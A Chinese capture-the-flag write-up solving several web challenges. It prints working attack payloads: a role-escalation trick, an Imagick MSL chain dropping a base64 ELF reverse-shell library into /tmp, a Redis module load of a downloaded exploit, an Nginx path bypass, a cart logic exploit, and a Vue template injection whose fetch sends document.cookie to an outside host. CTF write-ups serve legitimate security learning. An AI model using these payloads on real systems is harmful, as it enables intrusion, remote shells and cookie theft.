差一题AK
OnlyBypassMe
扫描目录发现存在swagger ui未授权
存在注册接口,登入接口,获取flag接口
直接调用发现401未授权
直接调用注册接口
调用登入接口
由于已经调用了修改用户权限接口,所以此处显示的role_id是1
调用更改权限接口,登入吼默认role_id是4,修改发现0,2,3,4都能修改成功,1不行,尝试0.6成功
由于调用获取用户信息接口后发现更改权限后需要重新登入权限才生效
随后重新调用登入接口后调用获取flag接口
ezobj
首先通过反射类 可以调用构造方法传参
第一步肯定是去读config.php里面的secret
根据这篇文章
传参
?byte=SimpleXMLElement&ctf[]=http://ip/evil.xml&ctf[]=2&ctf[]=true
反正这三个文件按照他给的
然后读到key
<?php
$secret = "HelloByteCTF2024";
找到
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data:text/8BIM;base64,f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAkgEAAAAAAABAAAAAAAAAALAAAAAAAAAAAAAAAEAAOAACAEAAAgABAAEAAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3AEAAAAAAAAmAgAAAAAAAAAQAAAAAAAAAgAAAAcAAAAwAQAAAAAAADABAAAAAAAAMAEAAAAAAABgAAAAAAAAAGAAAAAAAAAAABAAAAAAAAABAAAABgAAAAAAAAAAAAAAMAEAAAAAAAAwAQAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAcAAAAAAAAAAAAAAAMAAAAAAAAAAAAAAJABAAAAAAAAkAEAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAkgEAAAAAAAAFAAAAAAAAAJABAAAAAAAABgAAAAAAAACQAQAAAAAAAAoAAAAAAAAAAAAAAAAAAAALAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAailYmWoCX2oBXg8FSJdIuQIAF3AIiXBoUUiJ5moQWmoqWA8FagNeSP/OaiFYDwV19mo7WJlIuy9iaW4vc2gAU0iJ51JXSInmDwU=" />
<write filename="8BIM:/tmp/1.so" />
<write filename="8BIM:/tmp/1.wmv" />
</image>
在/tmp下面写一个1.so 何1.wmv 内容就是 要上传的so文件的base64(感觉有长度限制,我用工具生成的so文件)
然后?so=1&key=HelloByteCTF2024&byte=Imagick&ctf[]=/tmp/1.wmv 同时执行才会反弹shell
发现redis服务 但版本高 打不了主从复制
我们找到redis的配置文件 发现密码连上去
redis-cli -h 127.0.0.1 -a bytectfa0d90b
在网上找了一个so的文件 进行上传 chmod 777然后module load
https://github.com/0671/RabR/blob/main/exp/linux/exp.so
ezoldbuddy
直接访问存在403 想着去绕过
抓包看服务器是nginx起的 根据提示 很容易去想是不是nginx的解析漏洞
https://book.hacktricks.xyz/pentesting-web/proxy-waf-protections-bypass#flask
通过路径名操作绕过 Nginx ACL 规则
我们发现在路径后面加个空字符 然后将空字符替换成ao 就能绕过
同理 发现存在这个路由/shopbytedancesdhjkf/cart/checkout 和对应的参数
绕过方法也是一样
下面就是购买问题 这里是个逻辑漏洞 他会以第一个id的价格去买第二个id的商品
同时结合题目描述 他也会以第一个商品的数量去买第二个商品的数量
{"orderId":1,"cart":[{"id":1,"id":9,"qty":2,"qty":10000}]}
crossVue
flag:ByteCTF{464c7340e9e13c48ea689028e280c682}
payload:
{{fetch('http://6ed162bb.n0p.xyz/'+document.cookie)}}
注册用户的profile设置为payload,然后邀请admin访问页面,然后使用vue的模板{{}}调用fetch函数去请求远程携带出cookie即可
Comments | NOTHING